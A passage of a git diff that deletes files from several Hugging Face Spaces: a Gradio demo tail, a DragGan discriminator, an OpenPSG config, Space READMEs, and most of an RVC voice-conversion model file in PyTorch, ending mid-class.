-            <p> Unleash your creative side and generate mesmerizing images with just a few clicks! Enter a spark of inspiration in the "Basic Idea" text box and click the "Magic Prompt" button to elevate it to a polished masterpiece. Make any final tweaks in the "Full Prompt" box and hit the "Generate Images" button to watch your vision come to life. Experiment with the "Noise Level" for a diverse range of outputs, from similar to wildly unique. Let the fun begin!
-            </p>
-        </div>
-    """
-)
-
-    demo.launch(enable_queue=True, inline=True)
-    block.queue(concurrency_count=100)
\ No newline at end of file
diff --git a/spaces/DragGan/DragGan-Inversion/PTI/models/e4e/discriminator.py b/spaces/DragGan/DragGan-Inversion/PTI/models/e4e/discriminator.py
deleted file mode 100644
index 16bf3722c7f2e35cdc9bd177a33ed0975e67200d..0000000000000000000000000000000000000000
--- a/spaces/DragGan/DragGan-Inversion/PTI/models/e4e/discriminator.py
+++ /dev/null
@@ -1,20 +0,0 @@
-from torch import nn
-
-
-class LatentCodesDiscriminator(nn.Module):
-    def __init__(self, style_dim, n_mlp):
-        super().__init__()
-
-        self.style_dim = style_dim
-
-        layers = []
-        for i in range(n_mlp-1):
-            layers.append(
-                nn.Linear(style_dim, style_dim)
-            )
-            layers.append(nn.LeakyReLU(0.2))
-        layers.append(nn.Linear(512, 1))
-        self.mlp = nn.Sequential(*layers)
-
-    def forward(self, w):
-        return self.mlp(w)
diff --git a/spaces/ECCV2022/PSG/OpenPSG/configs/motifs/panoptic_fpn_r101_fpn_1x_sgdet_psg.py b/spaces/ECCV2022/PSG/OpenPSG/configs/motifs/panoptic_fpn_r101_fpn_1x_sgdet_psg.py
deleted file mode 100644
index 55b1f9eadee9904706504b57f896e2e6482d6385..0000000000000000000000000000000000000000
--- a/spaces/ECCV2022/PSG/OpenPSG/configs/motifs/panoptic_fpn_r101_fpn_1x_sgdet_psg.py
+++ /dev/null
@@ -1,28 +0,0 @@
-_base_ = './panoptic_fpn_r50_fpn_1x_sgdet_psg.py'
-
-model = dict(backbone=dict(
-    depth=101,
-    init_cfg=dict(type='Pretrained', checkpoint='torchvision://resnet101')))
-
-# Log config
-project_name = 'openpsg'
-expt_name = 'motifs_panoptic_fpn_r101_fpn_1x_sgdet_psg'
-work_dir = f'./work_dirs/{expt_name}'
-
-log_config = dict(
-    interval=50,
-    hooks=[
-        dict(type='TextLoggerHook'),
-        # dict(type='TensorboardLoggerHook')
-        dict(
-            type='WandbLoggerHook',
-            init_kwargs=dict(
-                project=project_name,
-                name=expt_name,
-                # config=work_dir + "/cfg.yaml"
-            ),
-        ),
-    ],
-)
-
-load_from = 'work_dirs/checkpoints/panoptic_fpn_r101_fpn_1x_coco_20210820_193950-ab9157a2.pth'
diff --git a/spaces/Emanuel/twitter-emotions-demo/README.md b/spaces/Emanuel/twitter-emotions-demo/README.md
deleted file mode 100644
index b26031433f638e7083487fb6a38589f4474c101e..0000000000000000000000000000000000000000
--- a/spaces/Emanuel/twitter-emotions-demo/README.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Emotion classification in tweets
-emoji: 🤡
-colorFrom: gray
-colorTo: gray
-sdk: gradio
-app_file: app.py
-pinned: false
----
-
-# Configuration
-
-`title`: _string_  
-Display title for the Space
-
-`emoji`: _string_  
-Space emoji (emoji-only character allowed)
-
-`colorFrom`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`colorTo`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`sdk`: _string_  
-Can be either `gradio` or `streamlit`
-
-`sdk_version` : _string_  
-Only applicable for `streamlit` SDK.  
-See [doc](https://hf.co/docs/hub/spaces) for more info on supported versions.
-
-`app_file`: _string_  
-Path to your main application file (which contains either `gradio` or `streamlit` Python code).  
-Path is relative to the root of the repository.
-
-`pinned`: _boolean_  
-Whether the Space stays on top of your list.
diff --git a/spaces/EricaCorral/Chinese-Tools-FAST/README.md b/spaces/EricaCorral/Chinese-Tools-FAST/README.md
deleted file mode 100644
index 84e1f7836ed2630e2df0c1cfa06f4b551bb25b15..0000000000000000000000000000000000000000
--- a/spaces/EricaCorral/Chinese-Tools-FAST/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Chinese Tools FAST
-emoji: 📚
-colorFrom: yellow
-colorTo: green
-sdk: gradio
-sdk_version: 2.8.12
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference
diff --git a/spaces/EronSamez/RVC_HFmeu/infer/lib/infer_pack/models.py b/spaces/EronSamez/RVC_HFmeu/infer/lib/infer_pack/models.py
deleted file mode 100644
index 7a387b888f63ecd6f1f1bd3ed10aa2176a944d2c..0000000000000000000000000000000000000000
--- a/spaces/EronSamez/RVC_HFmeu/infer/lib/infer_pack/models.py
+++ /dev/null
@@ -1,1174 +0,0 @@
-import math
-import logging
-
-logger = logging.getLogger(__name__)
-
-import numpy as np
-import torch
-from torch import nn
-from torch.nn import AvgPool1d, Conv1d, Conv2d, ConvTranspose1d
-from torch.nn import functional as F
-from torch.nn.utils import remove_weight_norm, spectral_norm, weight_norm
-
-from infer.lib.infer_pack import attentions, commons, modules
-from infer.lib.infer_pack.commons import get_padding, init_weights
-has_xpu = bool(hasattr(torch, "xpu") and torch.xpu.is_available())
-
-class TextEncoder256(nn.Module):
-    def __init__(
-        self,
-        out_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        f0=True,
-    ):
-        super().__init__()
-        self.out_channels = out_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.emb_phone = nn.Linear(256, hidden_channels)
-        self.lrelu = nn.LeakyReLU(0.1, inplace=True)
-        if f0 == True:
-            self.emb_pitch = nn.Embedding(256, hidden_channels)  # pitch 256
-        self.encoder = attentions.Encoder(
-            hidden_channels, filter_channels, n_heads, n_layers, kernel_size, p_dropout
-        )
-        self.proj = nn.Conv1d(hidden_channels, out_channels * 2, 1)
-
-    def forward(self, phone, pitch, lengths):
-        if pitch == None:
-            x = self.emb_phone(phone)
-        else:
-            x = self.emb_phone(phone) + self.emb_pitch(pitch)
-        x = x * math.sqrt(self.hidden_channels)  # [b, t, h]
-        x = self.lrelu(x)
-        x = torch.transpose(x, 1, -1)  # [b, h, t]
-        x_mask = torch.unsqueeze(commons.sequence_mask(lengths, x.size(2)), 1).to(
-            x.dtype
-        )
-        x = self.encoder(x * x_mask, x_mask)
-        stats = self.proj(x) * x_mask
-
-        m, logs = torch.split(stats, self.out_channels, dim=1)
-        return m, logs, x_mask
-
-
-class TextEncoder768(nn.Module):
-    def __init__(
-        self,
-        out_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        f0=True,
-    ):
-        super().__init__()
-        self.out_channels = out_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.emb_phone = nn.Linear(768, hidden_channels)
-        self.lrelu = nn.LeakyReLU(0.1, inplace=True)
-        if f0 == True:
-            self.emb_pitch = nn.Embedding(256, hidden_channels)  # pitch 256
-        self.encoder = attentions.Encoder(
-            hidden_channels, filter_channels, n_heads, n_layers, kernel_size, p_dropout
-        )
-        self.proj = nn.Conv1d(hidden_channels, out_channels * 2, 1)
-
-    def forward(self, phone, pitch, lengths):
-        if pitch == None:
-            x = self.emb_phone(phone)
-        else:
-            x = self.emb_phone(phone) + self.emb_pitch(pitch)
-        x = x * math.sqrt(self.hidden_channels)  # [b, t, h]
-        x = self.lrelu(x)
-        x = torch.transpose(x, 1, -1)  # [b, h, t]
-        x_mask = torch.unsqueeze(commons.sequence_mask(lengths, x.size(2)), 1).to(
-            x.dtype
-        )
-        x = self.encoder(x * x_mask, x_mask)
-        stats = self.proj(x) * x_mask
-
-        m, logs = torch.split(stats, self.out_channels, dim=1)
-        return m, logs, x_mask
-
-
-class ResidualCouplingBlock(nn.Module):
-    def __init__(
-        self,
-        channels,
-        hidden_channels,
-        kernel_size,
-        dilation_rate,
-        n_layers,
-        n_flows=4,
-        gin_channels=0,
-    ):
-        super().__init__()
-        self.channels = channels
-        self.hidden_channels = hidden_channels
-        self.kernel_size = kernel_size
-        self.dilation_rate = dilation_rate
-        self.n_layers = n_layers
-        self.n_flows = n_flows
-        self.gin_channels = gin_channels
-
-        self.flows = nn.ModuleList()
-        for i in range(n_flows):
-            self.flows.append(
-                modules.ResidualCouplingLayer(
-                    channels,
-                    hidden_channels,
-                    kernel_size,
-                    dilation_rate,
-                    n_layers,
-                    gin_channels=gin_channels,
-                    mean_only=True,
-                )
-            )
-            self.flows.append(modules.Flip())
-
-    def forward(self, x, x_mask, g=None, reverse=False):
-        if not reverse:
-            for flow in self.flows:
-                x, _ = flow(x, x_mask, g=g, reverse=reverse)
-        else:
-            for flow in reversed(self.flows):
-                x = flow(x, x_mask, g=g, reverse=reverse)
-        return x
-
-    def remove_weight_norm(self):
-        for i in range(self.n_flows):
-            self.flows[i * 2].remove_weight_norm()
-
-
-class PosteriorEncoder(nn.Module):
-    def __init__(
-        self,
-        in_channels,
-        out_channels,
-        hidden_channels,
-        kernel_size,
-        dilation_rate,
-        n_layers,
-        gin_channels=0,
-    ):
-        super().__init__()
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.hidden_channels = hidden_channels
-        self.kernel_size = kernel_size
-        self.dilation_rate = dilation_rate
-        self.n_layers = n_layers
-        self.gin_channels = gin_channels
-
-        self.pre = nn.Conv1d(in_channels, hidden_channels, 1)
-        self.enc = modules.WN(
-            hidden_channels,
-            kernel_size,
-            dilation_rate,
-            n_layers,
-            gin_channels=gin_channels,
-        )
-        self.proj = nn.Conv1d(hidden_channels, out_channels * 2, 1)
-
-    def forward(self, x, x_lengths, g=None):
-        x_mask = torch.unsqueeze(commons.sequence_mask(x_lengths, x.size(2)), 1).to(
-            x.dtype
-        )
-        x = self.pre(x) * x_mask
-        x = self.enc(x, x_mask, g=g)
-        stats = self.proj(x) * x_mask
-        m, logs = torch.split(stats, self.out_channels, dim=1)
-        z = (m + torch.randn_like(m) * torch.exp(logs)) * x_mask
-        return z, m, logs, x_mask
-
-    def remove_weight_norm(self):
-        self.enc.remove_weight_norm()
-
-
-class Generator(torch.nn.Module):
-    def __init__(
-        self,
-        initial_channel,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        gin_channels=0,
-    ):
-        super(Generator, self).__init__()
-        self.num_kernels = len(resblock_kernel_sizes)
-        self.num_upsamples = len(upsample_rates)
-        self.conv_pre = Conv1d(
-            initial_channel, upsample_initial_channel, 7, 1, padding=3
-        )
-        resblock = modules.ResBlock1 if resblock == "1" else modules.ResBlock2
-
-        self.ups = nn.ModuleList()
-        for i, (u, k) in enumerate(zip(upsample_rates, upsample_kernel_sizes)):
-            self.ups.append(
-                weight_norm(
-                    ConvTranspose1d(
-                        upsample_initial_channel // (2**i),
-                        upsample_initial_channel // (2 ** (i + 1)),
-                        k,
-                        u,
-                        padding=(k - u) // 2,
-                    )
-                )
-            )
-
-        self.resblocks = nn.ModuleList()
-        for i in range(len(self.ups)):
-            ch = upsample_initial_channel // (2 ** (i + 1))
-            for j, (k, d) in enumerate(
-                zip(resblock_kernel_sizes, resblock_dilation_sizes)
-            ):
-                self.resblocks.append(resblock(ch, k, d))
-
-        self.conv_post = Conv1d(ch, 1, 7, 1, padding=3, bias=False)
-        self.ups.apply(init_weights)
-
-        if gin_channels != 0:
-            self.cond = nn.Conv1d(gin_channels, upsample_initial_channel, 1)
-
-    def forward(self, x, g=None):
-        x = self.conv_pre(x)
-        if g is not None:
-            x = x + self.cond(g)
-
-        for i in range(self.num_upsamples):
-            x = F.leaky_relu(x, modules.LRELU_SLOPE)
-            x = self.ups[i](x)
-            xs = None
-            for j in range(self.num_kernels):
-                if xs is None:
-                    xs = self.resblocks[i * self.num_kernels + j](x)
-                else:
-                    xs += self.resblocks[i * self.num_kernels + j](x)
-            x = xs / self.num_kernels
-        x = F.leaky_relu(x)
-        x = self.conv_post(x)
-        x = torch.tanh(x)
-
-        return x
-
-    def remove_weight_norm(self):
-        for l in self.ups:
-            remove_weight_norm(l)
-        for l in self.resblocks:
-            l.remove_weight_norm()
-
-
-class SineGen(torch.nn.Module):
-    """Definition of sine generator
-    SineGen(samp_rate, harmonic_num = 0,
-            sine_amp = 0.1, noise_std = 0.003,
-            voiced_threshold = 0,
-            flag_for_pulse=False)
-    samp_rate: sampling rate in Hz
-    harmonic_num: number of harmonic overtones (default 0)
-    sine_amp: amplitude of sine-wavefrom (default 0.1)
-    noise_std: std of Gaussian noise (default 0.003)
-    voiced_thoreshold: F0 threshold for U/V classification (default 0)
-    flag_for_pulse: this SinGen is used inside PulseGen (default False)
-    Note: when flag_for_pulse is True, the first time step of a voiced
-        segment is always sin(np.pi) or cos(0)
-    """
-
-    def __init__(
-        self,
-        samp_rate,
-        harmonic_num=0,
-        sine_amp=0.1,
-        noise_std=0.003,
-        voiced_threshold=0,
-        flag_for_pulse=False,
-    ):
-        super(SineGen, self).__init__()
-        self.sine_amp = sine_amp
-        self.noise_std = noise_std
-        self.harmonic_num = harmonic_num
-        self.dim = self.harmonic_num + 1
-        self.sampling_rate = samp_rate
-        self.voiced_threshold = voiced_threshold
-
-    def _f02uv(self, f0):
-        # generate uv signal
-        uv = torch.ones_like(f0)
-        uv = uv * (f0 > self.voiced_threshold)
-        if uv.device.type == "privateuseone":  # for DirectML
-            uv = uv.float()
-        return uv
-
-    def forward(self, f0, upp):
-        """sine_tensor, uv = forward(f0)
-        input F0: tensor(batchsize=1, length, dim=1)
-                  f0 for unvoiced steps should be 0
-        output sine_tensor: tensor(batchsize=1, length, dim)
-        output uv: tensor(batchsize=1, length, 1)
-        """
-        with torch.no_grad():
-            f0 = f0[:, None].transpose(1, 2)
-            f0_buf = torch.zeros(f0.shape[0], f0.shape[1], self.dim, device=f0.device)
-            # fundamental component
-            f0_buf[:, :, 0] = f0[:, :, 0]
-            for idx in np.arange(self.harmonic_num):
-                f0_buf[:, :, idx + 1] = f0_buf[:, :, 0] * (
-                    idx + 2
-                )  # idx + 2: the (idx+1)-th overtone, (idx+2)-th harmonic
-            rad_values = (f0_buf / self.sampling_rate) % 1  ###%1意味着n_har的乘积无法后处理优化
-            rand_ini = torch.rand(
-                f0_buf.shape[0], f0_buf.shape[2], device=f0_buf.device
-            )
-            rand_ini[:, 0] = 0
-            rad_values[:, 0, :] = rad_values[:, 0, :] + rand_ini
-            tmp_over_one = torch.cumsum(rad_values, 1)  # % 1  #####%1意味着后面的cumsum无法再优化
-            tmp_over_one *= upp
-            tmp_over_one = F.interpolate(
-                tmp_over_one.transpose(2, 1),
-                scale_factor=upp,
-                mode="linear",
-                align_corners=True,
-            ).transpose(2, 1)
-            rad_values = F.interpolate(
-                rad_values.transpose(2, 1), scale_factor=upp, mode="nearest"
-            ).transpose(
-                2, 1
-            )  #######
-            tmp_over_one %= 1
-            tmp_over_one_idx = (tmp_over_one[:, 1:, :] - tmp_over_one[:, :-1, :]) < 0
-            cumsum_shift = torch.zeros_like(rad_values)
-            cumsum_shift[:, 1:, :] = tmp_over_one_idx * -1.0
-            sine_waves = torch.sin(
-                torch.cumsum(rad_values + cumsum_shift, dim=1) * 2 * np.pi
-            )
-            sine_waves = sine_waves * self.sine_amp
-            uv = self._f02uv(f0)
-            uv = F.interpolate(
-                uv.transpose(2, 1), scale_factor=upp, mode="nearest"
-            ).transpose(2, 1)
-            noise_amp = uv * self.noise_std + (1 - uv) * self.sine_amp / 3
-            noise = noise_amp * torch.randn_like(sine_waves)
-            sine_waves = sine_waves * uv + noise
-        return sine_waves, uv, noise
-
-
-class SourceModuleHnNSF(torch.nn.Module):
-    """SourceModule for hn-nsf
-    SourceModule(sampling_rate, harmonic_num=0, sine_amp=0.1,
-                 add_noise_std=0.003, voiced_threshod=0)
-    sampling_rate: sampling_rate in Hz
-    harmonic_num: number of harmonic above F0 (default: 0)
-    sine_amp: amplitude of sine source signal (default: 0.1)
-    add_noise_std: std of additive Gaussian noise (default: 0.003)
-        note that amplitude of noise in unvoiced is decided
-        by sine_amp
-    voiced_threshold: threhold to set U/V given F0 (default: 0)
-    Sine_source, noise_source = SourceModuleHnNSF(F0_sampled)
-    F0_sampled (batchsize, length, 1)
-    Sine_source (batchsize, length, 1)
-    noise_source (batchsize, length 1)
-    uv (batchsize, length, 1)
-    """
-
-    def __init__(
-        self,
-        sampling_rate,
-        harmonic_num=0,
-        sine_amp=0.1,
-        add_noise_std=0.003,
-        voiced_threshod=0,
-        is_half=True,
-    ):
-        super(SourceModuleHnNSF, self).__init__()
-
-        self.sine_amp = sine_amp
-        self.noise_std = add_noise_std
-        self.is_half = is_half
-        # to produce sine waveforms
-        self.l_sin_gen = SineGen(
-            sampling_rate, harmonic_num, sine_amp, add_noise_std, voiced_threshod
-        )
-
-        # to merge source harmonics into a single excitation
-        self.l_linear = torch.nn.Linear(harmonic_num + 1, 1)
-        self.l_tanh = torch.nn.Tanh()
-
-    def forward(self, x, upp=None):
-        if hasattr(self, "ddtype") == False:
-            self.ddtype = self.l_linear.weight.dtype
-        sine_wavs, uv, _ = self.l_sin_gen(x, upp)
-        # print(x.dtype,sine_wavs.dtype,self.l_linear.weight.dtype)
-        # if self.is_half:
-        #     sine_wavs = sine_wavs.half()
-        # sine_merge = self.l_tanh(self.l_linear(sine_wavs.to(x)))
-        # print(sine_wavs.dtype,self.ddtype)
-        if sine_wavs.dtype != self.ddtype:
-            sine_wavs = sine_wavs.to(self.ddtype)
-        sine_merge = self.l_tanh(self.l_linear(sine_wavs))
-        return sine_merge, None, None  # noise, uv
-
-
-class GeneratorNSF(torch.nn.Module):
-    def __init__(
-        self,
-        initial_channel,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        gin_channels,
-        sr,
-        is_half=False,
-    ):
-        super(GeneratorNSF, self).__init__()
-        self.num_kernels = len(resblock_kernel_sizes)
-        self.num_upsamples = len(upsample_rates)
-
-        self.f0_upsamp = torch.nn.Upsample(scale_factor=np.prod(upsample_rates))
-        self.m_source = SourceModuleHnNSF(
-            sampling_rate=sr, harmonic_num=0, is_half=is_half
-        )
-        self.noise_convs = nn.ModuleList()
-        self.conv_pre = Conv1d(
-            initial_channel, upsample_initial_channel, 7, 1, padding=3
-        )
-        resblock = modules.ResBlock1 if resblock == "1" else modules.ResBlock2
-
-        self.ups = nn.ModuleList()
-        for i, (u, k) in enumerate(zip(upsample_rates, upsample_kernel_sizes)):
-            c_cur = upsample_initial_channel // (2 ** (i + 1))
-            self.ups.append(
-                weight_norm(
-                    ConvTranspose1d(
-                        upsample_initial_channel // (2**i),
-                        upsample_initial_channel // (2 ** (i + 1)),
-                        k,
-                        u,
-                        padding=(k - u) // 2,
-                    )
-                )
-            )
-            if i + 1 < len(upsample_rates):
-                stride_f0 = np.prod(upsample_rates[i + 1 :])
-                self.noise_convs.append(
-                    Conv1d(
-                        1,
-                        c_cur,
-                        kernel_size=stride_f0 * 2,
-                        stride=stride_f0,
-                        padding=stride_f0 // 2,
-                    )
-                )
-            else:
-                self.noise_convs.append(Conv1d(1, c_cur, kernel_size=1))
-
-        self.resblocks = nn.ModuleList()
-        for i in range(len(self.ups)):
-            ch = upsample_initial_channel // (2 ** (i + 1))
-            for j, (k, d) in enumerate(
-                zip(resblock_kernel_sizes, resblock_dilation_sizes)
-            ):
-                self.resblocks.append(resblock(ch, k, d))
-
-        self.conv_post = Conv1d(ch, 1, 7, 1, padding=3, bias=False)
-        self.ups.apply(init_weights)
-
-        if gin_channels != 0:
-            self.cond = nn.Conv1d(gin_channels, upsample_initial_channel, 1)
-
-        self.upp = np.prod(upsample_rates)
-
-    def forward(self, x, f0, g=None):
-        har_source, noi_source, uv = self.m_source(f0, self.upp)
-        har_source = har_source.transpose(1, 2)
-        x = self.conv_pre(x)
-        if g is not None:
-            x = x + self.cond(g)
-
-        for i in range(self.num_upsamples):
-            x = F.leaky_relu(x, modules.LRELU_SLOPE)
-            x = self.ups[i](x)
-            x_source = self.noise_convs[i](har_source)
-            x = x + x_source
-            xs = None
-            for j in range(self.num_kernels):
-                if xs is None:
-                    xs = self.resblocks[i * self.num_kernels + j](x)
-                else:
-                    xs += self.resblocks[i * self.num_kernels + j](x)
-            x = xs / self.num_kernels
-        x = F.leaky_relu(x)
-        x = self.conv_post(x)
-        x = torch.tanh(x)
-        return x
-
-    def remove_weight_norm(self):
-        for l in self.ups:
-            remove_weight_norm(l)
-        for l in self.resblocks:
-            l.remove_weight_norm()
-
-
-sr2sr = {
-    "32k": 32000,
-    "40k": 40000,
-    "48k": 48000,
-}
-
-
-class SynthesizerTrnMs256NSFsid(nn.Module):
-    def __init__(
-        self,
-        spec_channels,
-        segment_size,
-        inter_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        spk_embed_dim,
-        gin_channels,
-        sr,
-        **kwargs
-    ):
-        super().__init__()
-        if type(sr) == type("strr"):
-            sr = sr2sr[sr]
-        self.spec_channels = spec_channels
-        self.inter_channels = inter_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.resblock = resblock
-        self.resblock_kernel_sizes = resblock_kernel_sizes
-        self.resblock_dilation_sizes = resblock_dilation_sizes
-        self.upsample_rates = upsample_rates
-        self.upsample_initial_channel = upsample_initial_channel
-        self.upsample_kernel_sizes = upsample_kernel_sizes
-        self.segment_size = segment_size
-        self.gin_channels = gin_channels
-        # self.hop_length = hop_length#
-        self.spk_embed_dim = spk_embed_dim
-        self.enc_p = TextEncoder256(
-            inter_channels,
-            hidden_channels,
-            filter_channels,
-            n_heads,
-            n_layers,
-            kernel_size,
-            p_dropout,
-        )
-        self.dec = GeneratorNSF(
-            inter_channels,
-            resblock,
-            resblock_kernel_sizes,
-            resblock_dilation_sizes,
-            upsample_rates,
-            upsample_initial_channel,
-            upsample_kernel_sizes,
-            gin_channels=gin_channels,
-            sr=sr,
-            is_half=kwargs["is_half"],
-        )
-        self.enc_q = PosteriorEncoder(
-            spec_channels,
-            inter_channels,
-            hidden_channels,
-            5,
-            1,
-            16,
-            gin_channels=gin_channels,
-        )
-        self.flow = ResidualCouplingBlock(
-            inter_channels, hidden_channels, 5, 1, 3, gin_channels=gin_channels
-        )
-        self.emb_g = nn.Embedding(self.spk_embed_dim, gin_channels)
-        logger.debug(
-            "gin_channels: "
-            + str(gin_channels)
-            + ", self.spk_embed_dim: "
-            + str(self.spk_embed_dim)
-        )
-
-    def remove_weight_norm(self):
-        self.dec.remove_weight_norm()
-        self.flow.remove_weight_norm()
-        self.enc_q.remove_weight_norm()
-
-    def forward(
-        self, phone, phone_lengths, pitch, pitchf, y, y_lengths, ds
-    ):  # 这里ds是id，[bs,1]
-        # print(1,pitch.shape)#[bs,t]
-        g = self.emb_g(ds).unsqueeze(-1)  # [b, 256, 1]##1是t，广播的
-        m_p, logs_p, x_mask = self.enc_p(phone, pitch, phone_lengths)
-        z, m_q, logs_q, y_mask = self.enc_q(y, y_lengths, g=g)
-        z_p = self.flow(z, y_mask, g=g)
-        z_slice, ids_slice = commons.rand_slice_segments(
-            z, y_lengths, self.segment_size
-        )
-        # print(-1,pitchf.shape,ids_slice,self.segment_size,self.hop_length,self.segment_size//self.hop_length)
-        pitchf = commons.slice_segments2(pitchf, ids_slice, self.segment_size)
-        # print(-2,pitchf.shape,z_slice.shape)
-        o = self.dec(z_slice, pitchf, g=g)
-        return o, ids_slice, x_mask, y_mask, (z, z_p, m_p, logs_p, m_q, logs_q)
-
-    def infer(self, phone, phone_lengths, pitch, nsff0, sid, rate=None):
-        g = self.emb_g(sid).unsqueeze(-1)
-        m_p, logs_p, x_mask = self.enc_p(phone, pitch, phone_lengths)
-        z_p = (m_p + torch.exp(logs_p) * torch.randn_like(m_p) * 0.66666) * x_mask
-        if rate:
-            head = int(z_p.shape[2] * rate)
-            z_p = z_p[:, :, -head:]
-            x_mask = x_mask[:, :, -head:]
-            nsff0 = nsff0[:, -head:]
-        z = self.flow(z_p, x_mask, g=g, reverse=True)
-        o = self.dec(z * x_mask, nsff0, g=g)
-        return o, x_mask, (z, z_p, m_p, logs_p)
-
-
-class SynthesizerTrnMs768NSFsid(nn.Module):
-    def __init__(
-        self,
-        spec_channels,
-        segment_size,
-        inter_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        spk_embed_dim,
-        gin_channels,
-        sr,
-        **kwargs
-    ):
-        super().__init__()
-        if type(sr) == type("strr"):
-            sr = sr2sr[sr]
-        self.spec_channels = spec_channels
-        self.inter_channels = inter_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.resblock = resblock
-        self.resblock_kernel_sizes = resblock_kernel_sizes
-        self.resblock_dilation_sizes = resblock_dilation_sizes
-        self.upsample_rates = upsample_rates
-        self.upsample_initial_channel = upsample_initial_channel
-        self.upsample_kernel_sizes = upsample_kernel_sizes
-        self.segment_size = segment_size
-        self.gin_channels = gin_channels
-        # self.hop_length = hop_length#
-        self.spk_embed_dim = spk_embed_dim
-        self.enc_p = TextEncoder768(
-            inter_channels,
-            hidden_channels,
-            filter_channels,
-            n_heads,
-            n_layers,
-            kernel_size,
-            p_dropout,
-        )
-        self.dec = GeneratorNSF(
-            inter_channels,
-            resblock,
-            resblock_kernel_sizes,
-            resblock_dilation_sizes,
-            upsample_rates,
-            upsample_initial_channel,
-            upsample_kernel_sizes,
-            gin_channels=gin_channels,
-            sr=sr,
-            is_half=kwargs["is_half"],
-        )
-        self.enc_q = PosteriorEncoder(
-            spec_channels,
-            inter_channels,
-            hidden_channels,
-            5,
-            1,
-            16,
-            gin_channels=gin_channels,
-        )
-        self.flow = ResidualCouplingBlock(
-            inter_channels, hidden_channels, 5, 1, 3, gin_channels=gin_channels
-        )
-        self.emb_g = nn.Embedding(self.spk_embed_dim, gin_channels)
-        logger.debug(
-            "gin_channels: "
-            + str(gin_channels)
-            + ", self.spk_embed_dim: "
-            + str(self.spk_embed_dim)
-        )
-
-    def remove_weight_norm(self):
-        self.dec.remove_weight_norm()
-        self.flow.remove_weight_norm()
-        self.enc_q.remove_weight_norm()
-
-    def forward(
-        self, phone, phone_lengths, pitch, pitchf, y, y_lengths, ds
-    ):  # 这里ds是id，[bs,1]
-        # print(1,pitch.shape)#[bs,t]
-        g = self.emb_g(ds).unsqueeze(-1)  # [b, 256, 1]##1是t，广播的
-        m_p, logs_p, x_mask = self.enc_p(phone, pitch, phone_lengths)
-        z, m_q, logs_q, y_mask = self.enc_q(y, y_lengths, g=g)
-        z_p = self.flow(z, y_mask, g=g)
-        z_slice, ids_slice = commons.rand_slice_segments(
-            z, y_lengths, self.segment_size
-        )
-        # print(-1,pitchf.shape,ids_slice,self.segment_size,self.hop_length,self.segment_size//self.hop_length)
-        pitchf = commons.slice_segments2(pitchf, ids_slice, self.segment_size)
-        # print(-2,pitchf.shape,z_slice.shape)
-        o = self.dec(z_slice, pitchf, g=g)
-        return o, ids_slice, x_mask, y_mask, (z, z_p, m_p, logs_p, m_q, logs_q)
-
-    def infer(self, phone, phone_lengths, pitch, nsff0, sid, rate=None):
-        g = self.emb_g(sid).unsqueeze(-1)
-        m_p, logs_p, x_mask = self.enc_p(phone, pitch, phone_lengths)
-        z_p = (m_p + torch.exp(logs_p) * torch.randn_like(m_p) * 0.66666) * x_mask
-        if rate:
-            head = int(z_p.shape[2] * rate)
-            z_p = z_p[:, :, -head:]
-            x_mask = x_mask[:, :, -head:]
-            nsff0 = nsff0[:, -head:]
-        z = self.flow(z_p, x_mask, g=g, reverse=True)
-        o = self.dec(z * x_mask, nsff0, g=g)
-        return o, x_mask, (z, z_p, m_p, logs_p)
-
-
-class SynthesizerTrnMs256NSFsid_nono(nn.Module):
-    def __init__(
-        self,
-        spec_channels,
-        segment_size,
-        inter_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        spk_embed_dim,
-        gin_channels,
-        sr=None,
-        **kwargs
-    ):
-        super().__init__()
-        self.spec_channels = spec_channels
-        self.inter_channels = inter_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.resblock = resblock
-        self.resblock_kernel_sizes = resblock_kernel_sizes
-        self.resblock_dilation_sizes = resblock_dilation_sizes
-        self.upsample_rates = upsample_rates
-        self.upsample_initial_channel = upsample_initial_channel
-        self.upsample_kernel_sizes = upsample_kernel_sizes
